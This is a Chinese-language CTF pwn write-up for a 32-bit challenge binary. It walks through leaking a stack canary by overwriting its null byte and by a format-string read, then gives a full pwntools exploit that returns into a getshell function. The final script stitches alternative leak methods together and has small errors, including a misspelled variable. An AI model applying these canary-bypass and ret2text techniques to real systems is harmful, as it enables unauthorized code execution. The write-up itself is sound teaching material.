本文最后更新于:2023年3月10日 晚上
checksec:
1 2 3 4 5 6 7
| ubuntu@ubuntu:~/Desktop$ checksec overflow [*] '/home/ubuntu/Desktop/overflow' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
|
相应地,使用ida打开它
1 2 3 4 5 6 7
| int __cdecl main(int argc, const char **argv, const char **envp) { init(&argc); puts("Hello Hacker!"); vuln(); return 0; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| unsigned int vuln() { int i; char buf[100]; unsigned int v3;
v3 = __readgsdword(0x14u); for ( i = 0; i <= 1; ++i ) { read(0, buf, 0x200u); printf(buf); } return __readgsdword(0x14u) ^ v3; }
|
1 2 3 4
| int getshell() { return system("/bin/sh"); }
|
出现了很明显的格式化字符串和栈溢出漏洞。
很明显,本题希望考察学生对于canary的泄露、格式化字符串的利用(可能)、ret2text。
Canary的位置在char类型串后,由于小端序,Canary的“开头”是’\x00’,用于截断。__stack_chk_fail函数也只会检查另外的三字节。本题泄露canary存在二解。
第一解,由于buf长度100,于是第一次输入可以用sendline去输入100个字符,或是send去输入101个字符,再用recv接收。
1 2 3 4
| payload = b'a' * 100 io.sendlineafter(b"Hacker!\n", payload) io.recvuntil(b'a' * 100) canary = u32(io.recv(4)) - 0xa
|
或
1 2 3 4
| payload = b'a' * 100 io.sendlineafter(b'Hacker\n', payload) io.recvuntil(b'\x0a') canary = u32(b'\x00' + io.recv(3))
|
第二解,由于存在格式化字符串漏洞,可以使用%p %08x等尝试找出偏移。
首先直接利用%p查找偏移
1 2 3 4
| ubuntu@ubuntu:~/Desktop$ ./overflow Hello Hacker! AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p AAAA-0xffaa13a8-0x200-0x80492d3-0xf7f9dd80-(nil)-0x41414141-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70
|
或
1 2 3 4
| ubuntu@ubuntu:~/Desktop$ ./overflow Hello Hacker! AAAA.%1$p.%2$p.%3$p.%4$p.%5$p.[%6$p].%7$p.%8$p AAAA.0xff806168.0x200.0x80492d3.0xf7ebdd80.(nil).[0x41414141].0x2431252e.0x32252e70
|
(由于已知其偏移,在第二次利用选择了让读者更明晰地找到偏移对应位置的美化)
等,均可找到输入对应偏移为6.
本文作者更喜欢用%p去获得值,故本处使用%p去尝试获得canary。
首先已知buf可存储100字节,在32位程序中,每个%p可取四字节内容(与类C语言中的指针意义类似,在8位程序中为1字,16位程序中为2字,32位程序中为4字,64位程序中为8字,计算方法为x/8=y),因此,若无偏移,则在(100/4)%25$p处可以得到canary的值,有6位偏移,则在(25+6=)%31$p处可以得到canary,recv方法基本同上。
1 2 3
| payload = b'%31$p' io.sendlineafter(b"Hacker!\n", payload) canary = int(io.recvuntil(b"00"), 16)
|
由此得到的canary便可在直接放在char字符串的后面构建payload,并最终执行ret2text:
payload = b'a' * 100 + p32(canary) + b'a' * 0xC + p32(sh_addr)
payload = flat([b'a' * 100, canary, b'a' * 0xC, p32(sh_addr)])
此处0xC已经包含了ebp(savedregs)。
于是,整理后的exp即为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from pwn import *
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
context.log_level = "debug" text = "./overflow"
io = process(text) elf = ELF(text) sh_addr = elf.sym['getshell']
payload = b'a' * 100 io.sendlineafter(b'Hacker!\n', payload) io.recvuntil(b"a" * 100) canary = u32(io.recv(4)) - 0xa
paylaod = b'a' * 100 io.sendlineafter(b'Hacker!\n', payload) io.recvuntil(b'\x0a') canary = u32(b'\x00' + io.recv(3))
step = 6 num = step + (0x70 - 0xC) / 4 payload = '%' + str(num) + '$p' io.sendlineafter(b'Hacker!\n', payload) canary = int(io.recvuntil(b"00"), 16)
lg("canary")
payload = b'a' * 100 + p32(canary) + b'a' * 0xC + p32(sh_addr)
io.sendline(payload)
io.interactive()
|